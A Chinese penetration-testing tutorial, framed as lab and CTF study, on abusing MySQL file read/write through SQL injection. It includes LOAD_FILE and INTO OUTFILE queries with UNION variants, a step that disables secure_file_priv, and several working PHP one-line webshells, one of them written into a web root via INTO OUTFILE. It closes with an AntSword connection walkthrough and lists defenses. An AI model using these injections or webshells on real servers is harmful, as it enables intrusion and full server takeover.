Web渗透之SQL注入-文件读写-木马植入

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

一、Mysql读写权限确认和修改

1、方式一

2、方式二

3、修改mysql文件读取权限

[(1). 找到 MySQL 配置文件](#(1). 找到 MySQL 配置文件)

[(2). 在 mysqld 段落下添加或修改](#(2). 在 [mysqld] 段落下添加或修改)

[4、重启 MySQL 服务](#4、重启 MySQL 服务)

5、验证修改结果

二、Mysql文件读写的sql语法

1、读文件

基本sql语句:

联合查询语句:

2、写文件

基本sql语句:

联合查询语句:

三、通过sql注入写入木马

1、PHP一句话木马(WebShell)

2、典型示例

3、常见变形

4、用途(仅限合法测试)

5、防御措施

6、法律提醒

7、向系统写入一句话木马

8、验证木马是否有效

四、通过sql注入getshell

1、蚁剑的使用

(1)添加数据

(2)填写数据与测试连接

(3)添加完成点击数据,就可以进行操作了

2、进行sql注入示例

文件上传

无验证:

一、Mysql读写权限确认和修改

MySQL 的"读写权限"在数据库安全上下文中特指 MySQL 服务器能否通过 SQL 语句读取或写入数据库服务器所在主机的文件系统。这类操作主要通过 LOAD_FILE() 函数(读)和 INTO OUTFILE/DUMPFILE 子句(写)完成。

  • 读权限:能否使用 SELECT LOAD_FILE('文件路径') 读取服务器上的文本文件。

  • 写权限:能否使用 SELECT ... INTO OUTFILE '文件路径' 将查询结果写入服务器文件。

这两项能力默认受到严格限制,以防止 SQL 注入漏洞被利用来读取系统敏感文件或写入 Webshell。

1、方式一

复制代码
show global variables like '%secure%';
复制代码
如果secure_file_priv=NULL 则表示这个mysql数据库没有文件读写权限
复制代码
如果secure_file_priv=/var/lib/mysql-files/ (路径) 说明mysql在这个路径下有文件读写权限
复制代码
如果secure_file_priv=       (没有值),则表示mysql有任意路径下的读写权限

2、方式二

复制代码
SELECT * FROM performance_schema.global_variables WHERE variable_name LIKE '%secure%';
复制代码
mysql数据库版本不同global_variables在的数据库也不同,有的在information_schema里,有的在performance_schema里

3、修改mysql文件读取权限

(1). 找到 MySQL 配置文件

通常位于 /etc/my.cnf。也可能是 /etc/mysql/my.cnf,但 CentOS 7 默认是 /etc/my.cnf。

复制代码
sudo vi /etc/my.cnf

(2). 在 [mysqld] 段落下添加或修改

找到 [mysqld] 标签,在其下方添加一行(如果已有 secure_file_priv 行,则修改其值):

复制代码
[mysqld]
secure_file_priv = ''

4、重启 MySQL 服务

复制代码
sudo systemctl restart mysqld

5、验证修改结果

执行成功

复制代码
SHOW VARIABLES LIKE 'secure_file_priv';

二、Mysql文件读写的sql语法

1、读文件

我们先写个文本文档a.txt导入到我的虚拟机里

进行查询可以看到文件数据的大小以及类型

基本sql语句:

复制代码
SELECT LOAD_FILE('/var/www/html/1vbohan/muma/a.txt');

联合查询语句:

复制代码
SELECT 1,2,3 UNION SELECT (SELECT LOAD_FILE('/var/www/html/1vbohan/muma/a.txt')),5,6

2、写文件

基本sql语句:

复制代码
SELECT 'nihao' INTO OUTFILE '/var/www/html/1vbohan/muma/a.txt';

如果把nihao写入a.txt结果会报错,因为写文件,必须这个文件不存在才行

把nihao,写到b.txt,成功写入,b.txt不需要提前1建,写入的时候这个语句自动生成文件

联合查询语句:

复制代码
SELECT 1,2,3 UNION SELECT 4,5,6 INTO OUTFILE '/var/www/html/1vbohan/muma/c.txt'

注意:子查询不能用,会报错

三、通过sql注入写入木马

1、PHP一句话木马(WebShell)

概念:PHP一句话木马是一种短小精悍的恶意脚本,通常只有一行代码,用于在 Web 服务器上实现远程命令执行或文件管理。攻击者通过文件上传、SQL 注入写入文件等方式将其放置到目标服务器,然后使用中国蚁剑、冰蝎、菜刀等客户端工具连接,从而获得服务器的控制权限。

作用:把字符串当成PHP程序进行解析

2、典型示例

复制代码
<?php @eval($_POST['cmd']); ?>
  • @ 抑制错误输出。

  • eval() 函数将 $_POST['cmd'] 接收到的字符串当作 PHP 代码执行。

  • 攻击者发送 HTTP POST 请求,参数 cmd=system('whoami'); 即可执行系统命令。

3、常见变形

复制代码
<?php system($_REQUEST['cmd']); ?>
<?php assert($_POST['a']); ?>
<?php @eval($_GET['c']); ?>

4、用途(仅限合法测试)

  • 在授权渗透测试中验证文件上传漏洞、RCE 漏洞的严重性。

  • 在 CTF 或靶场中获取 flag。

5、防御措施

  • 严格限制文件上传类型(白名单+重命名)。

  • 设置目录权限,禁止 PHP 解析上传目录。

  • 使用 Web 应用防火墙(WAF)拦截可疑的 POST 参数。

  • 定期扫描 Web 目录中的可疑文件。

  • 禁用危险函数(eval、assert、system 等),可通过 disable_functions 实现。

6、法律提醒

未经授权在他人服务器上放置一句话木马属于违法行为,违反《刑法》第285、286条。仅可在自己搭建的靶场或获得书面授权的环境中使用。

复制代码
<?php @eval($_POST['cmd']); ?>

7、向系统写入一句话木马

注意:只能写入web服务路径下。

复制代码
-- 写入一句话木马
select '<?php eval($_POST[0]);?>' into outfile 'C:/tools/phpstudy/WWW\mm.php'

写入成功

8、验证木马是否有效

当出现这个界面说明一句话木马生效

一句话木马也可以运行系统命令

四、通过sql注入getshell

1、蚁剑的使用

(1)添加数据

(2)填写数据与测试连接

(3)添加完成点击数据,就可以进行操作了

2、进行sql注入示例

一般进行注入上传木马文件

以CTFHUB文件上传漏洞这个靶场来讲解一下蚁剑的使用

文件上传

这个比较方便,直接就可以选择文件上传

先看靶场环境是php

编一个一句话木马php文件,然后下载

返回靶场上传文件

可以看到上传文件路径

把url和上传文件路径结合到一块,用蚁剑查看是否上传成功

通过目录查找在蚁剑里找到flag文件

找到flag

相关推荐
zhongerzixunshi13 分钟前
落实等保要求,筑牢信息系统安全防线
安全
Gauss松鼠会23 分钟前
GaussDB 整体架构解析
运维·服务器·网络·数据库·sql·架构·gaussdb
Gauss松鼠会43 分钟前
GaussDB 中 gsql 与 DBeaver(JDBC)客户端工具查询时间不一致:原因、排查与处理
运维·服务器·数据库·sql·gaussdb·经验总结
渣渣盟1 小时前
Flink SQL 流批一体:从 SQL 到执行计划,优化器如何工作?
大数据·sql·flink
Decay__7 小时前
05_MySQL 常用 SQL 大全 —— 诊断、管理、优化辅助 SQL 与三大系统库速查
运维·数据库·sql·mysql·架构
学逆向的10 小时前
C++ 合并命名空间
开发语言·c++·网络安全
学逆向的11 小时前
C 局部静态变量
c语言·开发语言·网络安全
长不大的杨瑞杰12 小时前
OpenCode v2 会话可靠性实战:Snapshots、Compaction、Instructions 与 Formatters
人工智能·安全·云计算·软件工程·devops
Decay__13 小时前
04_MySQL DBA 日常运维手册 —— 会话管理、锁与阻塞、事务监控、慢查询与日志巡检
运维·数据库·sql·mysql·架构
陆圣杰14 小时前
代码分享之前,先用假数据练一次凭据检查
安全